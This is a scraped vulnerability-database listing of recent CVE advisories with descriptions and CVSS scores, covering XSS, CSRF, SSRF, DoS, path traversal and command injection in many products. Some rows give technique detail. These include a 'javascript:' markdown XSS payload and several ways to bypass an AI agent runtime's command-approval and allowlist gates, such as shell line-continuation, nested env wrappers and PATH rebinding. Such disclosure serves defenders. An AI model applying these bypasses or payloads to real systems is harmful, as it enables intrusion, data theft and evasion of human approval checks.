CVE-2026-31997	OpenClaw versions prior to 2026.3.1 fail to pin executable identity for non-path-like argv[0] tokens in system.run approvals, allowing post-approval executable rebind attacks. Attackers can modify PATH resolution after approval to execute a different binary than the operator approved, enabling arbitrary command execution.	6.0	More Details
CVE-2026-4603	Versions of the package jsrsasign before 11.1.1 are vulnerable to Division by zero due to the RSASetPublic/KEYUTIL parsing path in ext/rsa.js and the BigInteger.modPowInt reduction logic in ext/jsbn.js. An attacker can force RSA public-key operations (e.g., verify and encryption) to collapse to deterministic zero outputs and hide “invalid key” errors by supplying a JWK whose modulus decodes to zero.	5.9	More Details
CVE-2026-3260	A flaw was found in Undertow. A remote attacker could exploit this vulnerability by sending an HTTP GET request containing multipart/form-data content. If the underlying application processes parameters using methods like `getParameterMap()`, the server prematurely parses and stores this content to disk. This could lead to resource exhaustion, potentially resulting in a Denial of Service (DoS).	5.9	More Details
CVE-2026-28044	Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in WP Media WP Rocket allows Stored XSS.This issue affects WP Rocket: from n/a through 3.19.4.	5.9	More Details
CVE-2026-32035	OpenClaw versions prior to 2026.3.2 fail to pass the senderIsOwner flag when processing Discord voice transcripts in agentCommand, causing the flag to default to true. Non-owner voice participants can exploit this omission to access owner-only tools including gateway and cron functionality in mixed-trust channels.	5.9	More Details
CVE-2026-3579	wolfSSL 5.8.4 on RISC-V RV32I architectures lacks a constant-time software implementation for 64-bit multiplication. The compiler-inserted __muldi3 subroutine executes in variable time based on operand values. This affects multiple SP math functions (sp_256_mul_9, sp_256_sqr_9, etc.), leading to a timing side-channel that may expose sensitive cryptographic data.	5.9	More Details
CVE-2026-33424	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, an attacker can grant access to a private message topic through invites even after they lose access to that PM. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	5.9	More Details
CVE-2026-	SuiteCRM is an open-source, enterprise-ready Customer Relationship Management (CRM) software application. Prior to versions 7.15.1 and 8.9.3, the value of the return_id request parameter is copied into the value of an	5.9	More

29106	HTML tag attribute which is an event handler and is encapsulated in double quotation marks. Versions 7.15.1 and 8.9.3 patch the issue. Users should also use a Content Security Policy (CSP) header to completely mitigate XSS.		Details
CVE-2026-28460	OpenClaw versions prior to 2026.2.22 contain an allowlist bypass vulnerability in system.run that allows attackers to execute non-allowlisted commands by splitting command substitution using shell line-continuation characters. Attackers can bypass security analysis by injecting $\\ followed by a newline and opening parenthesis inside double quotes, causing the shell to fold the line continuation into executable command substitution that circumvents approval boundaries.	5.9	More Details
CVE-2026-32770	Parse Server is an open source backend that can be deployed to any infrastructure that can run Node.js. Prior to 9.6.0-alpha.19 and 8.6.43, a remote attacker can crash the Parse Server by subscribing to a LiveQuery with an invalid regular expression pattern. The server process terminates when the invalid pattern reaches the regex engine during subscription matching, causing denial of service for all connected clients. The fix in 9.6.0-alpha.19 and 8.6.43 validates regular expression patterns at subscription time, rejecting invalid patterns before they are stored. Additionally, a defense-in-depth try-catch prevents any subscription matching error from crashing the server process. As a workaround, disable LiveQuery if it is not needed.	5.9	More Details
CVE-2026-29772	Astro is a web framework. Prior to version 10.0.0, Astro's Server Islands POST handler buffers and parses the full request body as JSON without enforcing a size limit. Because JSON.parse() allocates a V8 heap object for every element in the input, a crafted payload of many small JSON objects achieves ~15x memory amplification (wire bytes to heap bytes), allowing a single unauthenticated request to exhaust the process heap and crash the server. The /_server-islands/[name] route is registered on all Astro SSR apps regardless of whether any component uses server:defer, and the body is parsed before the island name is validated, so any Astro SSR app with the Node standalone adapter is affected. This issue has been patched in version 10.0.0.	5.9	More Details
CVE-2026-32935	phpseclib is a PHP secure communications library. Projects using versions 1.0.26 and below, 2.0.0 through 2.0.51, and 3.0.0 through 3.0.49 are vulnerable to a to padding oracle timing attack when using AES in CBC mode. This issue has been fixed in versions 1.0.27, 2.0.52 and 3.0.50.	5.9	More Details
CVE-2026-33349	fast-xml-parser allows users to process XML from JS object without C/C++ based libraries or callbacks. From version 4.0.0-beta.3 to before version 5.5.7, the DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service. This issue has been patched in version 5.5.7.	5.9	More Details
CVE-2026-32039	OpenClaw versions prior to 2026.2.22 contain an authorization bypass vulnerability in the toolsBySender group policy matching that allows attackers to inherit elevated tool permissions through identifier collision attacks. Attackers can exploit untyped sender keys by forcing collisions with mutable identity values such as senderName or senderUsername to bypass sender-authorization policies and gain unauthorized access to privileged tools.	5.9	More Details
CVE-2026-32030	OpenClaw versions prior to 2026.2.19 contain a path traversal vulnerability in the stageSandboxMedia function that accepts arbitrary absolute paths when iMessage remote attachment fetching is enabled. An attacker who can tamper with attachment path metadata can disclose files readable by the OpenClaw process on the configured remote host via SCP.	5.9	More Details
CVE-2026-33129	H3 is a minimal H(TTP) framework. Versions 2.0.1-beta.0 through 2.0.0-rc.8 contain a Timing Side-Channel vulnerability in the requireBasicAuth function due to the use of unsafe string comparison (!==). This allows an attacker to deduce the valid password character-by-character by measuring the server's response time, effectively bypassing password complexity protections. This issue is fixed in version 2.0.1-rc.9.	5.9	More Details
CVE-2026-33319	WWBN AVideo is an open source video platform. Prior to version 26.0, the `uploadVideoToLinkedIn()` method in the SocialMediaPublisher plugin constructs a shell command by directly interpolating an upload URL received from LinkedIn's API response, without sanitization via `escapeshellarg()`. If an attacker can influence the LinkedIn API response (via MITM, compromised OAuth token, or API compromise), they can inject arbitrary OS commands that execute as the web server user. Version 26.0 contains a fix for the issue.	5.9	More Details
CVE-2026-32045	OpenClaw versions prior to 2026.2.21 incorrectly apply tokenless Tailscale header authentication to HTTP gateway routes, allowing bypass of token and password requirements. Attackers on trusted networks can exploit this misconfiguration to access HTTP gateway routes without proper authentication credentials.	5.9	More Details
CVE-2024-31119	Improper neutralization of input during web page generation ('cross-site scripting') vulnerability in Vasilis Triantafyllou Special Box for Content allows DOM-Based XSS.This issue affects Special Box for Content: from n/a through 1.	5.9	More Details
CVE-2026-32023	OpenClaw versions prior to 2026.2.24 contain an approval gating bypass vulnerability in system.run allowlist mode where nested transparent dispatch wrappers can suppress shell-wrapper detection. Attackers can exploit this by chaining multiple dispatch wrappers like /usr/bin/env to execute /bin/sh -c commands without triggering the expected approval prompt in allowlist plus ask=on-miss configurations.	5.9	More Details
CVE-2025-33242	NVIDIA B300 MCU contains a vulnerability in the CX8 MCU that could allow a malicious actor to modify unsupported registries, causing a bad state. A successful exploit of this vulnerability might lead to denial of service and data tampering.	5.9	More Details

CVE-2026-32632	Glances is an open-source system cross-platform monitoring tool. Glances recently added DNS rebinding protection for the MCP endpoint, but prior to version 4.5.2, the main REST/WebUI FastAPI application still accepts arbitrary `Host` headers and does not apply `TrustedHostMiddleware` or an equivalent host allowlist. As a result, the REST API, WebUI, and token endpoint remain reachable through attacker-controlled domains in classic DNS rebinding scenarios. Once the victim browser has rebound the attacker domain to the Glances service, same-origin policy no longer protects the API because the browser considers the rebinding domain to be the origin. This is a distinct issue from the previously reported default CORS weakness. CORS is not required for exploitation here because DNS rebinding causes the victim browser to treat the malicious domain as same-origin with the rebinding target. Version 4.5.2 contains a patch for the issue.	5.9	More Details
CVE-2026-32017	OpenClaw versions prior to 2026.2.19 contain an allowlist bypass vulnerability in the exec safeBins policy that allows attackers to write arbitrary files using short-option payloads. Attackers can bypass argument validation by attaching short options like -o to whitelisted binaries, enabling unauthorized file-write operations that should be denied by safeBins checks.	5.9	More Details
CVE-2026-32057	OpenClaw versions prior to 2026.2.25 contain an authentication bypass vulnerability in the trusted-proxy Control UI pairing mechanism that accepts client.id=control-ui without proper device identity verification. An authenticated node role websocket client can exploit this by using the control-ui client identifier to skip pairing requirements and gain unauthorized access to node event execution flows.	5.9	More Details
CVE-2025-15363	The Get Use APIs WordPress plugin before 2.0.10 executes imported JSON, which could allow users with a role as low as contributor to perform Cross-Site Scripting attacks under certain server configurations.	5.9	More Details
CVE-2026-22737	Use of Java scripting engine enabled (e.g. JRuby, Jython) template views in Spring MVC and Spring WebFlux applications can result in disclosure of content from files outside the configured locations for script template views. This issue affects Spring Framework: from 7.0.0 through 7.0.5, from 6.2.0 through 6.2.16, from 6.1.0 through 6.1.25, from 5.3.0 through 5.3.46.	5.9	More Details
CVE-2026-33081	PinchTab is a standalone HTTP server that gives AI agents direct control over a Chrome browser. Versions 0.8.2 and below have a Blind SSRF vulnerability in the /download endpoint. The validateDownloadURL() function only checks the initial user-supplied URL, but the embedded Chromium browser can follow attacker-controlled redirects/navigations to internal network addresses after validation. Exploitation requires security.allowDownload=true (disabled by default), limiting real-world impact. An attacker-controlled page can use JavaScript redirects or resource requests to make the browser reach internal services from the PinchTab host, resulting in a blind Server-Side Request Forgery (SSRF) condition against internal-only services. The issue has been patched in version 0.8.3.	5.8	More Details
CVE-2026-33061	exactyl is a customisable game management panel and billing system. Commits after 025e8dbb0daaa04054276bda814d922cf4af58da and before e28edb204e80efab628d1241198ea4f079779cfd inject server-side objects into client-side JavaScript through resources/views/templates/wrapper.blade.php. Using unescaped {!! json_encode(...) !!} without safe encoding flags allows string values to break out of the JavaScript context and be interpreted as HTML/JS by the browser. If any serialized fields contain attacker-controlled content, such as a username, display name, or site config value, a malicious payload will execute arbitrary script for any user viewing the page (stored DOM XSS). This issue has been patched by commit e28edb204e80efab628d1241198ea4f079779cfd.	5.8	More Details
CVE-2026-4366	A flaw was identified in Keycloak, an identity and access management solution, where it improperly follows HTTP redirects when processing certain client configuration requests. This behavior allows an attacker to trick the server into making unintended requests to internal or restricted resources. As a result, sensitive internal services such as cloud metadata endpoints could be accessed. This issue may lead to information disclosure and enable attackers to map internal network infrastructure.	5.8	More Details
CVE-2026-33144	GPAC is an open-source multimedia framework. Prior to commit 86b0e36, a heap-based buffer overflow (write) vulnerability was discovered in GPAC MP4Box. The vulnerability exists in the gf_xml_parse_bit_sequence_bs function in utils/xml_bin_custom.c when processing a crafted NHML file containing malicious <BS> (BitSequence) elements. An attacker can exploit this by providing a specially crafted NHML file, causing an out-of-bounds write on the heap. This issue has been via commit 86b0e36.	5.8	More Details
CVE-2026-32755	Admidio is an open-source user management solution. In versions 5.0.6 and below, the save_membership action in modules/profile/profile_function.php saves changes to a member's role membership start and end dates but does not validate the CSRF token. The handler checks stop_membership and remove_former_membership against the CSRF token but omits save_membership from that check. Because membership UUIDs appear in the HTML source visible to authenticated users, an attacker can embed a crafted POST form on any external page and trick a role leader into submitting it, silently altering membership dates for any member of roles the victim leads. A role leader's session can be silently exploited via CSRF to manipulate any member's membership dates, terminating access by backdating, covertly extending unauthorized access, or revoking role-restricted features, all without confirmation, notification, or administrative approval. This issue has been fixed in version 5.0.7.	5.7	More Details
CVE-2026-22174	OpenClaw versions prior to 2026.2.22 inject the x-OpenClaw-relay-token header into Chrome CDP probe traffic on loopback interfaces, allowing local processes to capture the Gateway authentication token. An attacker controlling a loopback port can intercept CDP reachability probes to the /json/version endpoint and reuse the leaked token as Gateway bearer authentication.	5.7	More Details

CVE-2026-32009	OpenClaw versions prior to 2026.2.24 contain a policy bypass vulnerability in the safeBins allowlist evaluation that trusts static default directories including writable package-manager paths like /opt/homebrew/bin and /usr/local/bin. An attacker with write access to these trusted directories can place a malicious binary with the same name as an allowed executable to achieve arbitrary command execution within the OpenClaw runtime context.	5.7	More Details
CVE-2026-26933	Improper Validation of Array Index (CWE-129) in multiple protocol parser components in Packetbeat can lead Denial of Service via Input Data Manipulation (CAPEC-153). An attacker with the ability to send specially crafted, malformed network packets to a monitored network interface can trigger out-of-bounds read operations, resulting in application crashes or resource exhaustion. This requires the attacker to be positioned on the same network segment as the Packetbeat deployment or to control traffic routed to monitored interfaces.	5.7	More Details
CVE-2026-32816	Admidio is an open-source user management solution. In versions 5.0.0 through 5.0.6, the delete, activate, and deactivate modes in modules/groups-roles/groups_roles.php perform destructive state changes on organizational roles but never validate an anti-CSRF token. The client-side UI passes a CSRF token to callUrlHideElement(), which includes it in the POST body, but the server-side handlers ignore $_POST["adm_csrf_token"] entirely for these three modes. An attacker who can discover a role UUID (visible in the public cards view when the module is publicly accessible) can embed a forged POST form on any external page and trick any user with the rol_assign_roles right into deleting or toggling roles for the organization. Role deletion is permanent and cascades to all memberships, event associations, and rights data. If exploited, an attacker can trick any user with delegated role-assignment rights into permanently deleting roles, mass-revoking all associated memberships and access to events, documents, and mailing lists, or silently activating or deactivating entire groups, with target role UUIDs trivially harvested from the unauthenticated public cards view and no undo path short of a database restore. This issue has been fixed in version 5.0.7.	5.7	More Details
CVE-2026-33473	Vikunja is an open-source self-hosted task management platform. Starting in version 0.13 and prior to version 2.2.1, any user that has enabled 2FA can have their TOTP reused during the standard 30 second validity window. Version 2.2.1 patches the issue.	5.7	More Details
CVE-2026-26931	Memory Allocation with Excessive Size Value (CWE-789) in the Prometheus remote_write HTTP handler in Metricbeat can lead Denial of Service via Excessive Allocation (CAPEC-130).	5.7	More Details
CVE-2026-33412	Vim is an open source, command line text editor. Prior to version 9.2.0202, a command injection vulnerability exists in Vim's glob() function on Unix-like systems. By including a newline character (\n) in a pattern passed to glob(), an attacker may be able to execute arbitrary shell commands. This vulnerability depends on the user's 'shell' setting. This issue has been patched in version 9.2.0202.	5.6	More Details
CVE-2026-4592	A security vulnerability has been detected in kalcaddle kodbox 1.64. This impacts the function loginAfter/tfaVerify of the file /workspace/source-code/plugins/client/controller/tfa/index.class.php of the component Password Login. The manipulation leads to improper authentication. The attack is possible to be carried out remotely. The attack is considered to have high complexity. The exploitability is said to be difficult. The exploit has been disclosed publicly and may be used. The vendor was contacted early about this disclosure but did not respond in any way.	5.6	More Details
CVE-2024-13785	The The Contact Form, Survey, Quiz & Popup Form Builder – ARForms plugin for WordPress is vulnerable to arbitrary shortcode execution in all versions up to, and including, 1.7.2. This is due to the software allowing users to execute an action that does not properly validate a value before running do_shortcode. This makes it possible for unauthenticated attackers to execute arbitrary shortcodes.	5.6	More Details
CVE-2026-32810	Halloy is an IRC application written in Rust. In versions on *nix and macOS prior to commit f180e41061db393acf65bc99f5c5e7397586d9cb, halloy creates its config directory and files using default umask permissions, which typically results in `0644` on files and `0755` on directories. This allows any local user on the system to read plaintext credentials stored in `config.toml` or referenced `password_file` paths. Commit f180e41061db393acf65bc99f5c5e7397586d9cb patches the issue.	5.5	More Details
CVE-2019-25593	jetCast Server 2.0 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Log directory configuration field. Attackers can paste a buffer of 5000 characters into the Log directory input, then click Start to trigger a crash that terminates the server process.	5.5	More Details
CVE-2026-33179	libfuse is the reference implementation of the Linux FUSE. From version 3.18.0 to before version 3.18.2, a NULL pointer dereference and memory leak in fuse_uring_init_queue allows a local user to crash the FUSE daemon or cause resource exhaustion. When numa_alloc_local fails during io_uring queue entry setup, the code proceeds with NULL pointers. When fuse_uring_register_queue fails, NUMA allocations are leaked and the function incorrectly returns success. Only the io_uring transport is affected; the traditional /dev/fuse path is not affected. PoC confirmed with AddressSanitizer/LeakSanitizer. This issue has been patched in version 3.18.2.	5.5	More Details
CVE-2026-32044	OpenClaw versions prior to 2026.3.2 contain an archive extraction vulnerability in the tar.bz2 installer path that bypasses safety checks enforced on other archive formats. Attackers can craft malicious tar.bz2 skill archives to bypass special-entry blocking and extracted-size guardrails, causing local denial of service during skill installation.	5.5	More Details
CVE-2026-	The Multi Functional Flexi Lightbox plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the `arv_lb[message]` parameter in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This is due to the `arv_lb_options_val()` sanitize callback returning user input without any sanitization, and the stored `message` value being output in the `genLB()` function without escaping. This makes	5.5	More Details

2026-3347	it possible for authenticated attackers, with Administrator-level access, to inject arbitrary web scripts in pages that will execute whenever a user accesses a page or post with the lightbox enabled.		More Details
CVE-2026-29111	systemd, a system and service manager, (as PID 1) hits an assert and freezes execution when an unprivileged IPC API call is made with spurious data. On version v249 and older the effect is not an assert, but stack overwriting, with the attacker controlled content. From version v250 and newer this is not possible as the safety check causes an assert instead. This IPC call was added in v239, so versions older than that are not affected. Versions 260-rc1, 259.2, 258.5, and 257.11 contain patches. No known workarounds are available.	5.5	More Details
CVE-2026-32868	OPEXUS eComplaint and eCASE before 10.2.0.0 do not correctly sanitize the contents of first and last name fields in the 'My Information' screen. An authenticated attacker can inject parts of an XSS payload in the first and last name fields. The payload is executed when the full name is rendered. The attacker can run script in the context of a victim's session.	5.5	More Details
CVE-2019-25564	PCHelpWareV2 1.0.0.5 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Group field. Attackers can paste a buffer overflow payload into the Group property field and click Ok to trigger an application crash.	5.5	More Details
CVE-2026-32866	OPEXUS eComplaint and eCASE before 10.2.0.0 do not correctly sanitize the contents of first and last name fields in a user profile. An authenticated attacker can inject parts of an XSS payload in their first and last name fields. The payload is executed when the user's full name is rendered. The attacker can run script in the context of a victim's session.	5.5	More Details
CVE-2026-27131	The Sprig Plugin for Craft CMS is a reactive Twig component framework for Craft CMS. Starting in version 2.0.0 and prior to versions 2.15.2 and 3.15.2, admin users, and users with explicit permission to access the Sprig Playground, could potentially expose the security key, credentials, and other sensitive configuration data, in addition to running the `hashData()` signing function. This issue was mitigated in versions 3.15.2 and 2.15.2 by disabling access to the Sprig Playground entirely when `devMode` is disabled, by default. It is possible to override this behavior using a new `enablePlaygroundWhenDevModeDisabled` that defaults to `false`.	5.5	More Details
CVE-2019-25562	jetAudio 8.1.7 contains a buffer overflow vulnerability in the video converter component that allows local attackers to crash the application by supplying an oversized string in the File Naming field. Attackers can paste a malicious buffer of 512 bytes into the File Naming parameter and trigger the crash by clicking the Preview button, causing a denial of service.	5.5	More Details
CVE-2026-33165	libde265 is an open source implementation of the h.265 video codec. Prior to version 1.0.17, a crafted HEVC bitstream causes an out-of-bounds heap write confirmed by AddressSanitizer. The trigger is a stale ctb_info.log2unitSize after an SPS change where PicWidthInCtbsY and PicHeightInCtbsY stay constant but Log2CtbSizeY changes, causing set_SliceHeaderIndex to index past the allocated image metadata array and write 2 bytes past the end of a heap allocation. This issue has been patched in version 1.0.17.	5.5	More Details
CVE-2026-32024	OpenClaw versions prior to 2026.2.22 contain a symlink traversal vulnerability in avatar handling that allows attackers to read arbitrary files outside the configured workspace boundary. Remote attackers can exploit this by requesting avatar resources through gateway surfaces to disclose local files accessible to the OpenClaw process.	5.5	More Details
CVE-2019-25577	SeoToaster Ecommerce 3.0.0 contains a local file inclusion vulnerability that allows authenticated attackers to read arbitrary files by manipulating path parameters in backend theme endpoints. Attackers can send POST requests to /backend/backend_theme/editcss/ or /backend/backend_theme/editjs/ with directory traversal sequences in the getcss or getjs parameters to retrieve file contents.	5.5	More Details
CVE-2026-33237	WWBN AVideo is an open source video platform. Prior to version 26.0, the Scheduler plugin's `run()` function in `plugin/Scheduler/Scheduler.php` calls `url_get_contents()` with an admin-configurable `callbackURL` that is validated only by `isValidURL()` (URL format check). Unlike other AVideo endpoints that were recently patched for SSRF (GHSA-9x67-f2v7-63rw, GHSA-h39h-7cvg-q7j6), the Scheduler's callback URL is never passed through `isSSRFSafeURL()`, which blocks requests to RFC-1918 private addresses, loopback, and cloud metadata endpoints. An admin can configure a scheduled task with an internal network `callbackURL` to perform SSRF against cloud infrastructure metadata services or internal APIs not otherwise reachable from the internet. Version 26.0 contains a patch for the issue.	5.5	More Details
CVE-2019-25554	Tomabo MP4 Converter 3.25.22 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Name field. Attackers can trigger a buffer overflow by pasting a large payload into the Name parameter when adding a preset in the Video/Audio Formats options, causing the application to crash when Reset All is clicked.	5.5	More Details
CVE-2026-33855	Integer Overflow or Wraparound vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-11.	5.5	More Details
CVE-2026-32869	OPEXUS eComplaint and eCASE before 10.2.0.0 do not correctly sanitize the contents of the "Name of Organization" field when filling out case information. An authenticated attacker can inject an XSS payload which is executed in the context of a victim's session when they visit the case information page.	5.5	More Details
CVE-2019-25559	SpotPaltalk 1.1.5 contains a denial of service vulnerability in the registration code input field that allows local attackers to crash the application by submitting an excessively long string. Attackers can paste a buffer of 1000 characters into the Name/Key field during registration to trigger a crash when the OK button is clicked.	5.5	More Details

CVE-2019-25570	RealTerm Serial Terminal 2.0.0.70 contains a denial of service vulnerability that allows local attackers to crash the application by supplying an excessively long string in the Port field. Attackers can paste a buffer of 1000 characters into the Port input field and click the open button to trigger a crash.	5.5	More Details
CVE-2019-25602	GSearch 1.0.1.0 contains a denial of service vulnerability that allows local attackers to crash the application by inputting an excessively long string in the search bar. Attackers can paste a buffer of 2000 characters into the search field, click search, and select any result to trigger an application crash.	5.5	More Details
CVE-2026-33853	NULL Pointer Dereference vulnerability in MolotovCherry Android-ImageMagick7.This issue affects Android-ImageMagick7: before 7.1.2-10.	5.5	More Details
CVE-2019-25606	Fast AVI MPEG Joiner 1.2.0812 contains a buffer overflow vulnerability that allows local attackers to crash the application by supplying an oversized payload in the License Name field. Attackers can create a malicious text file containing 6000 bytes of data and paste it into the License Name input field to trigger a denial of service condition when the Register button is clicked.	5.5	More Details
CVE-2026-33683	WWBN AVideo is an open source video platform. In versions up to and including 26.0, a sanitization order-of-operations flaw in the user profile "about" field allows any registered user to inject arbitrary JavaScript that executes when other users visit their channel page. The `xss_esc()` function entity-encodes input before `strip_specific_tags()` can match dangerous HTML tags, and `html_entity_decode()` on output reverses the encoding, restoring the raw malicious HTML. Commit 7cfdc380dae1e56bbb5de581470d9e9957445df0 contains a patch.	5.4	More Details
CVE-2026-33500	WWBN AVideo is an open source video platform. In versions up to and including 26.0, the fix for CVE-2026-27568 (GHSA-rcqw-6466-3mv7) introduced a custom `ParsedownSafeWithLinks` class that sanitizes raw HTML `<a>` and `<img>` tags in comments, but explicitly disables Parsedown's `safeMode`. This creates a bypass: markdown link syntax `[text](javascript:alert(1))` is processed by Parsedown's `inlineLink()` method, which does not go through the custom `sanitizeATag()` sanitization (that only handles raw HTML tags). With `safeMode` disabled, Parsedown's built-in `javascript:` URI filtering (`sanitiseElement()`/`filterUnsafeUrlInAttribute()`) is also inactive. An attacker can inject stored XSS via comment markdown links. Commit 3ae02fa240939dbefc5949d64f05790fd25d728d contains a patch.	5.4	More Details
CVE-2026-33295	WWBN AVideo is an open source video platform. Prior to version 26.0, WWBN/AVideo contains a stored cross-site scripting vulnerability in the CDN plugin's download buttons component. The `clean_title` field of a video record is interpolated directly into a JavaScript string literal without any escaping, allowing an attacker who can create or modify a video to inject arbitrary JavaScript that executes in the browser of any user who visits the affected download page. Version 26.0 fixes the issue.	5.4	More Details
CVE-2026-32001	OpenClaw versions prior to 2026.2.22 contain an authentication bypass vulnerability that allows clients authenticated with a shared gateway token to connect as role=node without device identity verification. Attackers can exploit this by claiming the node role during WebSocket handshake to inject unauthorized node.event calls, triggering agent.request and voice.transcript flows without proper device pairing.	5.4	More Details
CVE-2026-33372	An issue was discovered in Zimbra Collaboration (ZCS) 10.0 and 10.1. A cross-site request forgery (CSRF) vulnerability exists in Zimbra Webmail due to improper validation of CSRF tokens. The application accepts CSRF tokens supplied within the request body instead of requiring them through the expected request header. An attacker can exploit this issue by tricking an authenticated user into submitting a crafted request. This may allow unauthorized actions to be performed on behalf of the victim.	5.4	More Details
CVE-2026-27977	Next.js is a React framework for building full-stack web applications. Starting in version 16.0.1 and prior to version 16.1.7, in `next dev`, cross-site protection for internal websocket endpoints could treat `Origin: null` as a bypass case even if `allowedDevOrigins` is configured, allowing privacy-sensitive/opaque contexts (for example sandboxed documents) to connect unexpectedly. If a dev server is reachable from attacker-controlled content, an attacker may be able to connect to the HMR websocket channel and interact with dev websocket traffic. This affects development mode only. Apps without a configured `allowedDevOrigins` still allow connections from any origin. The issue is fixed in version 16.1.7 by validating `Origin: null` through the same cross-site origin-allowance checks used for other origins. If upgrading is not immediately possible, do not expose `next dev` to untrusted networks and/or block websocket upgrades to `/_next/webpack-hmr` when `Origin` is `null` at the proxy.	5.4	More Details
CVE-2026-33305	OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, an authorization bypass in the optional FaxSMS module (`oe-module-faxsms`) allows any authenticated OpenEMR user to invoke controller methods — including `getNotificationLog()`, which returns patient appointment data (PHI) — regardless of whether they hold the required ACL permissions. The `AppDispatch` constructor dispatches user-controlled actions and exits the process before any calling code can enforce ACL checks. Version 8.0.0.2 fixes the issue.	5.4	More Details
CVE-2026-33312	Vikunja is an open-source self-hosted task management platform. Starting in version 0.20.2 and prior to version 2.2.0, the `DELETE /api/v1/projects/:project/background` endpoint checks `CanRead` permission instead of `CanUpdate`, allowing any user with read-only access to a project to permanently delete its background image. Version 2.2.0 fixes the issue.	5.4	More Details
CVE-	OpenEMR is a free and open source electronic health records and medical practice management application. Versions prior to 8.0.0.2 are vulnerable to stored cross-site scripting (XSS) via unescaped `portal_login_username`		

2026-33303	in the portal credential print view. A patient portal user can set their login username to an XSS payload, which then executes in a clinic staff member's browser when they open the "Create Portal Login" page for that patient. This crosses from the patient session context into the staff/admin session context. Version 8.0.0.2 fixes the issue.	5.4	More Details
CVE-2026-4542	A vulnerability has been found in SSCMS 4.7.0. The affected element is an unknown function of the file LayerImageController.Submit.cs of the component layerImage Endpoint. Such manipulation of the argument filePaths leads to path traversal. The attack may be performed from remote. The exploit has been disclosed to the public and may be used. Statistical analysis made it clear that VulDB provides the best quality for vulnerability data.	5.4	More Details
CVE-2026-33299	OpenEMR is a free and open source electronic health records and medical practice management application. Prior to 8.0.0.2, users with the `Notes - my encounters` role can fill **Eye Exam** forms in patient encounters. The answers to the form are displayed on the encounter page and in the visit history for the users with the same role. There exists a stored cross-site scripting (XSS) vulnerability in the function to display the form answers, allowing any authenticated attacker with the specific role to insert arbitrary JavaScript into the system by entering malicious payloads to the form answers. The JavaScript code is later executed by any user with the form role when viewing the form answers in the patient encounter pages or visit history. Version 8.0.0.2 fixes the issue.	5.4	More Details
CVE-2026-28755	NGINX Plus and NGINX Open Source have a vulnerability in the ngx_stream_ssl_module module due to the improper handling of revoked certificates when configured with the ssl_verify_client on and ssl_ocsp on directives, allowing the TLS handshake to succeed even after an OCSP check identifies the certificate as revoked. Note: Software versions which have reached End of Technical Support (EoTS) are not evaluated.	5.4	More Details
CVE-2026-32895	OpenClaw versions prior to 2026.2.26 fail to enforce sender authorization in member and message subtype system event handlers, allowing unauthorized events to be enqueued. Attackers can bypass Slack DM allowlists and per-channel user allowlists by sending system events from non-allowlisted senders through message_changed, message_deleted, and thread_broadcast events.	5.4	More Details
CVE-2026-33051	Craft CMS is a content management system (CMS). In versions 5.9.0-beta.1 through 5.9.10, the revision/draft context menu in the element editor renders the creator’s fullName as raw HTML due to the use of Template::raw() combined with Craft::t() string interpolation. A low-privileged control panel user (e.g., Author) can set their fullName to an XSS payload via the profile editor, then create an entry with two saves. If an administrator is logged in and executes a specifically crafted payload while an elevated session is active, the attacker’s account can be elevated to administrator. This issue has been fixed in version 5.9.11.	5.4	More Details
CVE-2026-32757	Admidio is an open-source user management solution. In versions 5.0.6 and below, the eCard send handler uses a raw $_POST['ecard_message'] value instead of the HTMLPurifier-sanitized $formValues['ecard_message'] when constructing the greeting card HTML. This allows an authenticated attacker to inject arbitrary HTML and JavaScript into greeting card emails sent to other members, bypassing the server-side HTMLPurifier sanitization that is properly applied to the ecard_message field during form validation. An attack can result in any member or role receiving phishing content that appears legitimate, crossing from the web application into recipients' email clients. This issue has been fixed in version 5.0.7.	5.4	More Details
CVE-2026-1276	IBM QRadar SIEM 7.5.0 through 7.5.0 Update Package 14 is vulnerable to cross-site scripting. This vulnerability allows an authenticated user to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality potentially leading to credentials disclosure within a trusted session.	5.4	More Details
CVE-2025-15051	IBM QRadar SIEM 7.5.0 through 7.5.0 Update Package 14 is vulnerable to cross-site scripting. This vulnerability allows users to embed arbitrary JavaScript code in the Web UI thus altering the intended functionality.	5.4	More Details
CVE-2026-33251	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, an authorization bypass vulnerability in hidden Solved topics may allow unauthorized users to accept or unaccept solutions. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, ensure only trusted users are part of the Site Setting for accept_all_solutions_allowed_groups.	5.4	More Details
CVE-2026-33291	Discourse is an open-source discussion platform. Prior to versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2, moderators can create Zendesk tickets for topics they do not have access to view. This affects all forums that use the Zendesk plugin. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. No known workarounds are available.	5.4	More Details
CVE-2026-33411	Discourse is an open-source discussion platform. Versions prior to 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 have a potential stored XSS in topic titles for the solved posts stream. Versions 2026.3.0-latest.1, 2026.2.1, and 2026.1.2 contain a patch. As a workaround, ensure that the Content Security Policy is enabled, and has not been modified in a way which would make it more vulnerable to XSS attacks.	5.4	More Details
